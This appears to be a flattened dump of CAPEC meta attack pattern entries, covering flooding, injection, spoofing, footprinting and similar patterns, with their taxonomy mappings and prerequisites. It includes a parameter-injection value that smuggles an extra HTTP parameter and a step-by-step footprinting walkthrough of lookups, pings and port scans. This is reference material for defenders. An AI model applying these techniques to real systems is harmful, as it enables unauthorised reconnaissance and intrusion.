Flooding Meta An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target. 2014-06-23 02:00:00 Capec: CAPEC-125
Cwe: CWE-404
Cwe: CWE-770
Attack: T1498.001
Attack: T1499
Wasc: 10
Owasp Attacks: Traffic flood
2022-09-29 02:00:00 2.1 Availability:
  • Unreliable Execution (A successful flooding attack compromises the availability of the target system's service by exhausting its available resources.)
  • Resource Consumption (A successful flooding attack compromises the availability of the target system's service by exhausting its available resources.)
Communications
Software
None High
  • Any target that services requests is vulnerable to this attack on some level of scale.
  • A script or program capable of generating more requests than the target can handle, or a network or cluster of objects all capable of making simultaneous requests.
Stable Medium 3.9
Pointer Manipulation Meta This attack pattern involves an adversary manipulating a pointer within a target application resulting in the application accessing an unintended memory location. This can result in the crashing of the application or, for certain pointer values, access to data that would not normally be possible or the execution of arbitrary code. Since pointers are simply integer variables, Integer Attacks may often be used in Pointer Attacks. 2014-06-23 02:00:00 Capec: CAPEC-129
Cwe: CWE-682
Cwe: CWE-822
Cwe: CWE-823
2019-04-04 02:00:00 2.1 Software
None None
  • The target application must have a pointer variable that the attacker can influence to hold an arbitrary value.
  • None: No specialized resources are required to execute this type of attack.
Draft Medium 3.9
Excessive Allocation Meta An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request. 2014-06-23 02:00:00 Capec: CAPEC-130
Cwe: CWE-404
Cwe: CWE-770
Cwe: CWE-1325
Attack: T1499.003
Wasc: 10
2020-12-17 01:00:00 2.1 Availability:
  • Resource Consumption (A successful excessive allocation attack forces the target system to exhaust its resources, thereby compromising the availability of its service.)
Communications
Software
  1. In an Integer Attack, the adversary could cause a variable that controls allocation for a request to hold an excessively large value. Excessive allocation of resources can render a service degraded or unavailable to legitimate users and can even lead to crashing of the target.
None Medium
  • The target must accept service requests from the attacker and the adversary must be able to control the resource allocation associated with this request to be in excess of the normal allocation. The latter is usually accomplished through the presence of a bug on the target that allows the adversary to manipulate variables used in the allocation.
  • None: No specialized resources are required to execute this type of attack.
Stable Medium 3.9
Resource Leak Exposure Meta An adversary utilizes a resource leak on the target to deplete the quantity of the resource available to service legitimate requests. Resource leaks most often come in the form of memory leaks where memory is allocated but never released after it has served its purpose, however, theoretically, any other resource that can be reserved can be targeted if the target fails to release the reservation when the reserved resource block is no longer needed. In this attack, the adversary determines what activity results in leaked resources and then triggers that activity on the target. Since some leaks may be small, this may require a large number of requests by the adversary. However, this attack differs from a flooding attack in that the rate of requests is generally not significant. This is because the lost resources due to the leak accumulate until the target is reset, usually by restarting it. Thus, a resource-poor adversary who would be unable to flood the target can still utilize this attack. Resource depletion through leak differs from resource depletion through allocation in that, in the former, the adversary may not be able to control the size of each leaked allocation, but instead allows the leak to accumulate until it is large enough to affect the target's performance. When depleting resources through allocation, the allocated resource may eventually be released by the target so the attack relies on making sure that the allocation size itself is prohibitive of normal operations by the target. 2014-06-23 02:00:00 Capec: CAPEC-131
Cwe: CWE-404
Attack: T1499
Wasc: 10
2022-02-22 01:00:00 2.1 Availability:
  • Unreliable Execution (A successful resource leak exposure attack compromises the availability of the target system's services.)
  • Resource Consumption (A successful resource leak exposure attack compromises the availability of the target system's services.)
Software
None Medium
  • The target must have a resource leak that the adversary can repeatedly trigger.
  • None: No specialized resources are required to execute this type of attack.
Stable Medium 3.9
Parameter Injection Meta An adversary manipulates the content of request parameters for the purpose of undermining the security of the target. Some parameter encodings use text characters as separators. For example, parameters in a HTTP GET message are encoded as name-value pairs separated by an ampersand (&). If an attacker can supply text strings that are used to fill in these parameters, then they can inject special characters used in the encoding scheme to add or modify parameters. For example, if user input is fed directly into an HTTP GET request and the user provides the value "myInput&new;_param=myValue", then the input parameter is set to myInput, but a new parameter (new_param) is also added with a value of myValue. This can significantly change the meaning of the query that is processed by the server. Any encoding scheme where parameters are identified and separated by text characters is potentially vulnerable to this attack - the HTTP GET encoding used above is just one example. 2014-06-23 02:00:00 Capec: CAPEC-137
Cwe: CWE-88
2019-04-04 02:00:00 2.1 Integrity:
  • Modify Data (Successful parameter injection attacks mean a compromise to integrity of the application.)
Social Engineering
Software
None Medium
  • The target application must use a parameter encoding where separators and parameter identifiers are expressed in regular text.
  • The target application must accept a string as user input, fail to sanitize characters that have a special meaning in the parameter encoding, and insert the user-supplied string in an encoding which is then processed.
  • None: No specialized resources are required to execute this type of attack. The only requirement is the ability to provide string input to the target.
Stable Medium 3.9
Content Spoofing Meta An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes. 2014-06-23 02:00:00 Capec: CAPEC-148
Cwe: CWE-345
Attack: T1491
Wasc: 12
Owasp Attacks: Content Spoofing
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data (A successful content spoofing attack compromises the integrity of the application data.)
Communications
Software
Hardware
None Medium
  • The target must provide content but fail to adequately protect it against modification.The adversary must have the means to alter data to which they are not authorized. If the content is to be modified in transit, the adversary must be able to intercept the targeted messages.
  • If the content is to be modified in transit, the adversary requires a tool capable of intercepting the target's communication and generating/creating custom packets to impact the communications. In some variants, the targeted content is altered so that all or some of it is redirected towards content published by the attacker (for example, images and frames in the target's web site might be modified to be loaded from a source controlled by the attacker). In these cases, the attacker requires the necessary resources to host the replacement content.
Stable Medium 3.9
Identity Spoofing Meta Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials. Alternatively, an adversary may intercept a message from a legitimate sender and attempt to make it look like the message comes from them without changing its content. The latter form of this attack can be used to hijack credentials from legitimate users. Identity Spoofing attacks need not be limited to transmitted messages - any resource that is associated with an identity (for example, a file with a signature) can be the target of an attack where the adversary attempts to change the apparent identity. This attack differs from Content Spoofing attacks where the adversary does not wish to change the apparent identity of the message but instead wishes to change what the message says. In an Identity Spoofing attack, the adversary is attempting to change the identity of the content. 2014-06-23 02:00:00 Capec: CAPEC-151
Cwe: CWE-287
2022-02-22 01:00:00 2.1 Integrity:
  • Gain Privileges
Access Control:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
Social Engineering
Communications
Software
Hardware
None Medium
  • The identity associated with the message or resource must be removable or modifiable in an undetectable way.
  • None: No specialized resources are required to execute this type of attack.
Stable Medium 3.9
Input Data Manipulation Meta An attacker exploits a weakness in input validation by controlling the format, structure, and composition of data to an input-processing interface. By supplying input of a non-standard or unexpected form an attacker can adversely impact the security of the target. For example, using a different character encoding might cause dangerous text to be treated as safe text. Alternatively, the attacker may use certain flags, such as file extensions, to make a target application believe that provided data should be handled using a certain interpreter when the data is not actually of the appropriate type. This can lead to bypassing protection mechanisms, forcing the target to use specific components for input processing, or otherwise causing the user's data to be handled differently than might otherwise be expected. This attack differs from Variable Manipulation in that Variable Manipulation attempts to subvert the target's processing through the value of the input while Input Data Manipulation seeks to control how the input is processed. 2014-06-23 02:00:00 Capec: CAPEC-153
Cwe: CWE-20
2022-02-22 01:00:00 2.1 Software
None None
  • The target must accept user data for processing and the manner in which this data is processed must depend on some aspect of the format or flags that the attacker can control.
  • None: No specialized resources are required to execute this type of attack.
Draft Medium 3.9
Resource Location Spoofing Meta An adversary deceives an application or user and convinces them to request a resource from an unintended location. By spoofing the location, the adversary can cause an alternate resource to be used, often one that the adversary controls and can be used to help them achieve their malicious goals. 2014-06-23 02:00:00 Capec: CAPEC-154
Cwe: CWE-451
2023-01-24 01:00:00 2.1 Authorization:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Social Engineering
Supply Chain
Communications
Software
Hardware
None Medium
  • None. All applications rely on file paths and therefore, in theory, they or their resources could be affected by this type of attack.
  • None: No specialized resources are required to execute this type of attack.
Stable Medium 3.9
Infrastructure Manipulation Meta An attacker exploits characteristics of the infrastructure of a network entity in order to perpetrate attacks or information gathering on network objects or effect a change in the ordinary information flow between network objects. Most often, this involves manipulation of the routing of network messages so, instead of arriving at their proper destination, they are directed towards an entity of the attackers' choosing, usually a server controlled by the attacker. The victim is often unaware that their messages are not being processed correctly. For example, a targeted client may believe they are connecting to their own bank but, in fact, be connecting to a Pharming site controlled by the attacker which then collects the user's login information in order to hijack the actual bank account. 2014-06-23 02:00:00 Capec: CAPEC-161
Cwe: CWE-923
2023-01-24 01:00:00 2.1 Communications
Software
Hardware
None None
  • The targeted client must access the site via infrastructure that the attacker has co-opted and must fail to adequately verify that the communication channel is operating correctly (e.g. by verifying that they are, in fact, connected to the site they intended.)
  • The attacker must be able to corrupt the infrastructure used by the client. For some variants of this attack, the attacker must be able to stand up their own services that mimic the services the targeted client intends to use.
Draft High 3.9
File Manipulation Meta An attacker modifies file contents or attributes (such as extensions or names) of files in a manner to cause incorrect processing by an application. Attackers use this class of attacks to cause applications to enter unstable states, overwrite or expose sensitive information, and even execute arbitrary code with the application's privileges. This class of attacks differs from attacks on configuration information (even if file-based) in that file manipulation causes the file processing to result in non-standard behaviors, such as buffer overflows or use of the incorrect interpreter. Configuration attacks rely on the application interpreting files correctly in order to insert harmful configuration information. Likewise, resource location attacks rely on controlling an application's ability to locate files, whereas File Manipulation attacks do not require the application to look in a non-default location, although the two classes of attacks are often combined. 2014-06-23 02:00:00 Capec: CAPEC-165
Attack: T1036.003
2022-09-29 02:00:00 2.1 Software
None None
  • The target must use the affected file without verifying its integrity.
  • None: No specialized resources are required to execute this type of attack. In some cases, tools can be used to better control the response of the targeted application to the modified file.
Draft Medium 3.9
Footprinting Meta An adversary engages in probing and exploration activities to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. Although similar to fingerprinting, footprinting aims to get a more holistic view of a system or network, whereas fingerprinting is more targeted to a specific application or operating system. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks. 2014-06-23 02:00:00 Capec: CAPEC-169
Cwe: CWE-200
Attack: T1217
Attack: T1592
Attack: T1595
Reference_from_capec: REF-31
Reference_from_capec: REF-32
Reference_from_capec: REF-33
Reference_from_capec: REF-34
2022-09-29 02:00:00 2.1 Confidentiality:
  • Read Data
Communications
Software
  1. In this example let us look at the website http://www.example.com to get much information we can about Alice. From the website, we find that Alice also runs foobar.org. We type in www example.com into the prompt of the Name Lookup window in a tool, and our result is this IP address: 192.173.28.130 We type the domain into the Name Lookup prompt and we are given the same IP. We can safely say that example and foobar.org are hosted on the same box. But if we were to do a reverse name lookup on the IP, which domain will come up? www.example.com or foobar.org? Neither, the result is nijasvspirates.org. So nijasvspirates.org is the name of the box hosting 31337squirrel.org and foobar.org. So now that we have the IP, let's check to see if nijasvspirates is awake. We type the IP into the prompt in the Ping window. We'll set the interval between packets to 1 millisecond. We'll set the number of seconds to wait until a ping times out to 5. We'll set the ping size to 500 bytes and we'll send ten pings. Ten packets sent and ten packets received. nijasvspirates.org returned a message to my computer within an average of 0.35 seconds for every packet sent. nijasvspirates is alive. We open the Whois window and type nijasvspirates.org into the Query prompt, and whois.networksolutions.com into the Server prompt. This means we'll be asking Network Solutions to tell us everything they know about nijasvspirates.org. The result is this laundry list of info: Registrant: FooBar (nijasvspirates -DOM) p.o.box 11111 SLC, UT 84151 US Domain Name: nijasvspirates.ORG Administrative Contact, Billing Contact: Smith, John jsmith@anonymous.net FooBar p.o.box 11111 SLC, UT 84151 555-555-6103 Technical Contact: Johnson, Ken kj@fierymonkey.org fierymonkey p.o.box 11111 SLC, UT 84151 555-555-3849 Record last updated on 17-Aug-2001. Record expires on 11-Aug-2002. Record created on 11-Aug-2000. Database last updated on 12-Dec-2001 04:06:00 EST. Domain servers in listed order: NS1. fierymonkey.ORG 192.173.28.130 NS2. fierymonkey.ORG 64.192.168.80 A corner stone of footprinting is Port Scanning. Let's port scan nijasvspirates.org and see what kind of services are running on that box. We type in the nijasvspirates IP into the Host prompt of the Port Scan window. We'll start searching from port number 1, and we'll stop at the default Sub7 port, 27374. Our results are: 21 TCP ftp 22 TCP ssh SSH-1.99-OpenSSH_2.30 25 TCP smtp 53 TCP domain 80 TCP www 110 TCP pop3 111 TCP sunrpc 113 TCP ident Just by this we know that Alice is running a website and email, using POP3, SUNRPC (SUN Remote Procedure Call), and ident.

Explore

  1. Request Footprinting: The attacker examines the website information and source code of the website and uses automated tools to get as much information as possible about the system and organization.
  2. Techniques
    Open Source Footprinting: Examine the website about the organization and skim through the webpage's HTML source to look for comments.
    Network Enumeration: Perform various queries (Registrar Query, Organizational Query, Domain Query, Network Query, POC Query) on the many whois databases found on the internet to identify domain names and associated networks.
    DNS Interrogation: Once basic information is gathered the attack could begin to query DNS.
    Other Techniques: Use ping sweep, TCP scan, UDP scan, OS Identification various techniques to gain more information about the system and network.
High
  • An application must publicize identifiable information about the system or application through voluntary or involuntary means. Certain identification details of information systems are visible on communication networks (e.g., if an adversary uses a sniffer to inspect the traffic) due to their inherent structure and protocol standards. Any system or network that can be detected can be footprinted. However, some configuration choices may limit the useful information that can be collected during a footprinting attack.
  • The adversary requires a variety of tools to collect information about the target. These include port/network scanners and tools to analyze responses from applications to determine version and configuration information. Footprinting a system adequately may also take a few days if the attacker wishes the footprinting attempt to go undetected.
Low: The adversary knows how to send HTTP request, run the scan tool. Stable Very Low 3.9
DEPRECATED: Variable Manipulation Meta This attack pattern has been deprecated as it is a duplicate of the existing attack pattern "CAPEC-77 : Manipulating User-Controlled Variables". Please refer to this other CAPEC going forward. 2014-06-23 02:00:00 Capec: CAPEC-171
2017-05-01 02:00:00 2.1 None None Deprecated None 3.9
Action Spoofing Meta An adversary is able to disguise one action for another and therefore trick a user into initiating one type of action when they intend to initiate a different action. For example, a user might be led to believe that clicking a button will submit a query, but in fact it downloads software. Adversaries may perform this attack through social means, such as by simply convincing a victim to perform the action or relying on a user's natural inclination to do so, or through technical means, such as a clickjacking attack where a user sees one interface but is actually interacting with a second, invisible, interface. 2014-06-23 02:00:00 Capec: CAPEC-173
Cwe: CWE-451
2023-01-24 01:00:00 2.1 Integrity:
  • Other (Action spoofing can result in a wide variety of consequences and negatively affect all three elements of the security triad.)
Availability:
  • Other (Action spoofing can result in a wide variety of consequences and negatively affect all three elements of the security triad.)
Confidentiality:
  • Other (Action spoofing can result in a wide variety of consequences and negatively affect all three elements of the security triad.)
Social Engineering
Software
None High
  • The adversary must convince the victim into performing the decoy action.
  • The adversary must have the means to control a user's interface to present them with a decoy action as well as the actual malicious action. Simple versions of this attack can be performed using web pages requiring only that the adversary be able to host (or control) content that the user visits.
Stable Very High 3.9
Code Inclusion Meta An adversary exploits a weakness on the target to force arbitrary code to be retrieved locally or from a remote location and executed. This differs from code injection in that code injection involves the direct inclusion of code while code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application. 2014-06-23 02:00:00 Capec: CAPEC-175
Cwe: CWE-829
2017-05-01 02:00:00 2.1 Software
  1. One example of this type of attack pattern is PHP file include attacks where the parameter of an include() function is set by a variable that an attacker is able to control. The result is that arbitrary code could be loaded into the PHP application and executed.
None Medium
  • The target application must include external code/libraries that are executed when the application runs and the adversary must be able to influence the specific files that get included.
  • The victim must run the targeted application, possibly using the crafted parameters that the adversary uses to identify the code to include.
  • The adversary may need the capability to host code modules if they wish their own code files to be included.
Stable Very High 3.9
Configuration/Environment Manipulation Meta An attacker manipulates files or settings external to a target application which affect the behavior of that application. For example, many applications use external configuration files and libraries - modification of these entities or otherwise affecting the application's ability to use them would constitute a configuration/environment manipulation attack. 2014-06-23 02:00:00 Capec: CAPEC-176
Cwe: CWE-15
Cwe: CWE-1233
Cwe: CWE-1234
Cwe: CWE-1304
Cwe: CWE-1328
Owasp Attacks: Setting Manipulation
2021-06-24 02:00:00 2.1 Supply Chain
Software
Hardware
None None
  • The target application must consult external files or configuration controls to control its execution. All but the very simplest applications meet this requirement.
  • The attacker must have the access necessary to affect the files or other environment items the targeted application uses for its operations.
Draft Medium 3.9
Software Integrity Attack Meta An attacker initiates a series of events designed to cause a user, program, server, or device to perform actions which undermine the integrity of software code, device data structures, or device firmware, achieving the modification of the target's integrity to achieve an insecure state. 2014-06-23 02:00:00 Capec: CAPEC-184
Cwe: CWE-494
2018-07-31 02:00:00 2.1 Social Engineering
Supply Chain
Software
None None
  • Software Integrity Attacks are usually a late stage focus of attack activity which depends upon the success of a chain of prior events. The resources required to perform the attack vary with respect to the overall attack strategy, existing countermeasures which must be bypassed, and the success of early phase attack vectors.
Medium: Manual or user-assisted attacks require deceptive mechanisms to trick the user into clicking a link or downloading and installing software. Automated update attacks require the attacker to host a payload and then trigger the installation of the payload code. Draft Low 3.9
Reverse Engineering Meta An adversary discovers the structure, function, and composition of an object, resource, or system by using a variety of analysis techniques to effectively determine how the analyzed entity was constructed or operates. The goal of reverse engineering is often to duplicate the function, or a part of the function, of an object in order to duplicate or "back engineer" some aspect of its functioning. Reverse engineering techniques can be applied to mechanical objects, electronic devices, or software, although the methodology and techniques involved in each type of analysis differ widely. 2014-06-23 02:00:00 Capec: CAPEC-188
Cwe: CWE-1278
Reference_from_capec: REF-50
2023-01-24 01:00:00 2.1 Software
Physical Security
Hardware
  1. When adversaries are reverse engineering software, methodologies fall into two broad categories, 'white box' and 'black box.' White box techniques involve methods which can be applied to a piece of software when an executable or some other compiled object can be directly subjected to analysis, revealing at least a portion of its machine instructions that can be observed upon execution. 'Black Box' methods involve interacting with the software indirectly, in the absence of the ability to measure, instrument, or analyze an executable object directly. Such analysis typically involves interacting with the software at the boundaries of where the software interfaces with a larger execution environment, such as input-output vectors, libraries, or APIs.
None Low
  • Access to targeted system, resources, and information.
  • The technical resources necessary to engage in reverse engineering differ in accordance with the type of object, resource, or system being analyzed.
High: Understanding of low level programming languages or technologies can be very helpful. For example, when reverse engineering a binary file, an understanding of assembly languages can help to determine the purpose and inner-workings of the code. Another example is reverse engineering an application that relies on networking. Here, an understanding networking protocols can provide insight into application details. Stable Low 3.9
Protocol Analysis Meta An adversary engages in activities to decipher and/or decode protocol information for a network or application communication protocol used for transmitting information between interconnected nodes or systems on a packet- switched data network. While this type of analysis involves the analysis of a networking protocol inherently, it does not require the presence of an actual or physical network. Although certain techniques for protocol analysis benefit from manipulating live 'on-the-wire' interactions between communicating components, static or dynamic analysis techniques applied to executables as well as to device drivers, such as network interface drivers, can also be used to reveal the function and characteristics of a communication protocol implementation. Depending upon the methods used the process may involve observing, interacting, and modifying actual communications occurring between hosts. The goal of protocol analysis is to derive the data transmission syntax, as well as to extract the meaningful content, including packet or content delimiters used by the protocol. This type of analysis is often performed on closed- specification protocols, or proprietary protocols, but is also useful for analyzing publicly available specifications to determine how particular implementations deviate from published specifications. 2014-06-23 02:00:00 Capec: CAPEC-192
Cwe: CWE-326
Reference_from_capec: REF-57
Reference_from_capec: REF-50
2022-02-22 01:00:00 2.1 Integrity:
  • Modify Data (Modifying communications after successful deciphering of protocol information compromises integrity.)
Confidentiality:
  • Read Data (Successful deciphering of protocol information compromises the confidentiality of future sensitive communications.)
Communications
Hardware
None Low
  • Access to a binary executable.
  • The ability to observe and interact with a communication channel between communicating processes.
  • Depending on the type of analysis, a variety of tools might be required, such as static code and/or dynamic analysis tools. Alternatively, the effort might require debugging programs such as ollydbg, SoftICE, or disassemblers like IDA Pro. In some instances, packet sniffing or packet analyzing programs such as TCP dump or Wireshark are necessary. Lastly, specific protocol analysis might require tools such as PDB (Protocol Debug), or packet injection tools like pcap or Nemesis.
High: Knowlegde of the Open Systems Interconnection model (OSI model), and famililarity with Wireshark or some other packet analyzer. Stable Low 3.9
97
Functionality Misuse Meta An adversary leverages a legitimate capability of an application in such a way as to achieve a negative technical impact. The system functionality is not altered or modified but used in a way that was not intended. This is often accomplished through the overuse of a specific functionality or by leveraging functionality with design flaws that enables the adversary to gain access to unauthorized, sensitive data. 2014-06-23 02:00:00 Capec: CAPEC-212
Cwe: CWE-1242
Cwe: CWE-1246
Cwe: CWE-1281
2021-06-24 02:00:00 2.1 Integrity:
  • Other (Depending on the adversary's intended technical impact, a successful attack of this kind can compromise any or all elements of the security triad.)
Availability:
  • Other (Depending on the adversary's intended technical impact, a successful attack of this kind can compromise any or all elements of the security triad.)
Confidentiality:
  • Gain Privileges (A successful attack of this kind can compromise the confidentiality of an authorized user's credentials.)
  • Other (Depending on the adversary's intended technical impact, a successful attack of this kind can compromise any or all elements of the security triad.)
Software
Hardware
None Medium
  • The adversary has the capability to interact with the application directly.The target system does not adequately implement safeguards to prevent misuse of authorized actions/processes.
Low: General computer knowledge about how applications are launched, how they interact with input/output, and how they are configured. Stable Medium 3.9
Communication Channel Manipulation Meta An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise. 2014-06-23 02:00:00 Capec: CAPEC-216
Cwe: CWE-306
2023-01-24 01:00:00 2.1 Integrity:
  • Read Data (The adversary's injection of additional content into a communication channel negatively impacts the integrity of that channel.)
  • Modify Data (The adversary's injection of additional content into a communication channel negatively impacts the integrity of that channel.)
  • Other (The adversary's injection of additional content into a communication channel negatively impacts the integrity of that channel.)
Confidentiality:
  • Read Data (A successful Communication Channel Manipulation attack can result in sensitive information exposure to the adversary, thereby compromising the communication channel's confidentiality.)
Communications
None None
  • The target application must leverage an open communications channel.
  • The channel on which the target communicates must be vulnerable to interception (e.g., adversary in the middle attack - CAPEC-94).
  • A tool that is capable of viewing network traffic and generating custom inputs to be used in the attack.
Stable None 3.9
Fingerprinting Meta An adversary compares output from a target system to known indicators that uniquely identify specific details about the target. Most commonly, fingerprinting is done to determine operating system and application versions. Fingerprinting can be done passively as well as actively. Fingerprinting by itself is not usually detrimental to the target. However, the information gathered through fingerprinting often enables an adversary to discover existing weaknesses in the target. 2014-06-23 02:00:00 Capec: CAPEC-224
Cwe: CWE-200
Wasc: 45
2020-12-17 01:00:00 2.1 Confidentiality:
  • Read Data
Software
None High
  • A means by which to interact with the target system directly.
  • If on a network, the adversary needs a tool capable of viewing network communications at the packet level and with header information, like Mitmproxy, Wireshark, or Fiddler.
Medium: Some fingerprinting activity requires very specific knowledge of how different operating systems respond to various TCP/IP requests. Application fingerprinting can be as easy as envoking the application with the correct command line argument, or mouse clicking in the appropriate place on the screen. Stable Very Low 3.9
Sustained Client Engagement Meta An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource. The degree to which the attack is successful depends upon the adversary's ability to sustain resource requests over time with a volume that exceeds the normal usage by legitimate users, as well as other mitigating circumstances such as the target's ability to shift load or acquire additional resources to deal with the depletion. This attack differs from a flooding attack as it is not entirely dependent upon large volumes of requests, and it differs from resource leak exposures which tend to exploit the surrounding environment needed for the resource to function. The key factor in a sustainment attack are the repeated requests that take longer to process than usual. 2014-06-23 02:00:00 Capec: CAPEC-227
Cwe: CWE-400
Attack: T1499
Wasc: 10
2023-01-24 01:00:00 2.1 Software
None None
  • This pattern of attack requires a temporal aspect to the servicing of a given request. Success can be achieved if the adversary can make requests that collectively take more time to complete than legitimate user requests within the same time frame.
  • To successfully execute this pattern of attack, a script or program is often required that is capable of continually engaging the target and maintaining sustained usage of a specific resource. Depending on the configuration of the target, it may or may not be necessary to involve a network or cluster of objects all capable of making parallel requests.
Draft None 3.9
469
Privilege Escalation Meta An adversary exploits a weakness enabling them to elevate their privilege and perform an action that they are not supposed to be authorized to perform. 2014-06-23 02:00:00 Capec: CAPEC-233
Cwe: CWE-269
Cwe: CWE-1264
Cwe: CWE-1311
Attack: T1548
Reference_from_capec: REF-600
2021-10-21 02:00:00 2.1 Software
Hardware
None None Draft None 3.9
Resource Injection Meta An adversary exploits weaknesses in input validation by manipulating resource identifiers enabling the unintended modification or specification of a resource. 2014-06-23 02:00:00 Capec: CAPEC-240
Cwe: CWE-99
Owasp Attacks: Resource Injection
2020-12-17 01:00:00 2.1 Integrity:
  • Modify Data
Confidentiality:
  • Read Data
Communications
Software
None High
  • The target application allows the user to both specify the identifier used to access a system resource. Through this permission, the user gains the capability to perform actions on that resource (e.g., overwrite the file)
Stable High 3.9
610
DEPRECATED: Code Injection Meta This attack pattern has been deprecated as it is a duplicate of the existing attack pattern "CAPEC-242 : Code Injection". Please refer to this other CAPEC going forward. 2014-06-23 02:00:00 Capec: CAPEC-241
2017-05-01 02:00:00 2.1 None None Deprecated None 3.9
Code Injection Meta An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application. 2014-06-23 02:00:00 Capec: CAPEC-242
Cwe: CWE-94
Owasp Attacks: Code Injection
Reference_from_capec: REF-612
2020-12-17 01:00:00 2.1 Integrity:
  • Other (Code Injection attack patterns can result in a wide variety of consequences and negatively affect all three elements of the security triad.)
Availability:
  • Other (Code Injection attack patterns can result in a wide variety of consequences and negatively affect all three elements of the security triad.)
Confidentiality:
  • Other (Code Injection attack patterns can result in a wide variety of consequences and negatively affect all three elements of the security triad.)
Software
None High
  • The target software does not validate user-controlled input such that the execution of a process may be altered by sending code in through legitimate data channels, using no other mechanism.
Stable High 3.9
Command Injection Meta An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation. 2014-06-23 02:00:00 Capec: CAPEC-248
Cwe: CWE-77
Owasp Attacks: Command Injection
Reference_from_capec: REF-615
2020-12-17 01:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (A successful command injection attack enables an adversary to alter the command being executed and achieve a variety of negative consequences depending on the makeup of the new command. This includes potential information disclosure or the corruption of application data.)
Availability:
  • Execute Unauthorized Commands (A successful command injection attack enables an adversary to alter the command being executed and achieve a variety of negative consequences depending on the makeup of the new command. This includes potential information disclosure or the corruption of application data.)
Confidentiality:
  • Execute Unauthorized Commands (A successful command injection attack enables an adversary to alter the command being executed and achieve a variety of negative consequences depending on the makeup of the new command. This includes potential information disclosure or the corruption of application data.)
Software
None Medium
  • The target application must accept input from the user and then use this input in the construction of commands to be executed. In virtually all cases, this is some form of string input that is concatenated to a constant string defined by the application to form the full command to be executed.
Stable High 3.9
DEPRECATED: Abuse of Transaction Data Structure Meta This attack pattern has been deprecated as it was deemed not to be a legitimate attack pattern. 2014-06-23 02:00:00 Capec: CAPEC-257
2018-07-31 02:00:00 2.1 None None Deprecated None 3.9
DEPRECATED: Environment Variable Manipulation Meta This attack pattern has been deprecated as it is a duplicate of the existing attack pattern "CAPEC-13 : Subverting Environment Variable Values". Please refer to this other CAPEC going forward. 2014-06-23 02:00:00 Capec: CAPEC-264
2017-05-01 02:00:00 2.1 None None Deprecated None 3.9
DEPRECATED: Global variable manipulation Meta This attack pattern has been deprecated as it is a duplicate of the existing attack pattern "CAPEC-77 : Manipulating User-Controlled Variables". Please refer to this other CAPEC going forward. 2014-06-23 02:00:00 Capec: CAPEC-265
2017-05-01 02:00:00 2.1 None None Deprecated None 3.9
DEPRECATED: Manipulate Canonicalization Meta This attack pattern has been deprecated. 2014-06-23 02:00:00 Capec: CAPEC-266
2017-05-01 02:00:00 2.1 None None Deprecated None 3.9
DEPRECATED: Registry Manipulation Meta This pattern has been deprecated as it was determined to be a duplicate of another pattern. Please refer to the pattern CAPEC-203 : Manipulate Application Registry Values going forward. 2014-06-23 02:00:00 Capec: CAPEC-269
2017-05-01 02:00:00 2.1 None None Deprecated None 3.9
Protocol Manipulation Meta An adversary subverts a communications protocol to perform an attack. This type of attack can allow an adversary to impersonate others, discover sensitive information, control the outcome of a session, or perform other attacks. This type of attack targets invalid assumptions that may be inherent in implementers of the protocol, incorrect implementations of the protocol, or vulnerabilities in the protocol itself. 2014-06-23 02:00:00 Capec: CAPEC-272
2014-06-23 02:00:00 2.1 Communications
Software
None None
  • The protocol or implementations thereof must contain bugs that an adversary can exploit.
  • In some variants of this attack the adversary must be able to intercept communications using the protocol. This means they need to be able to receive the communications from one participant and prevent the other participant from receiving these communications.
Draft Medium 3.9
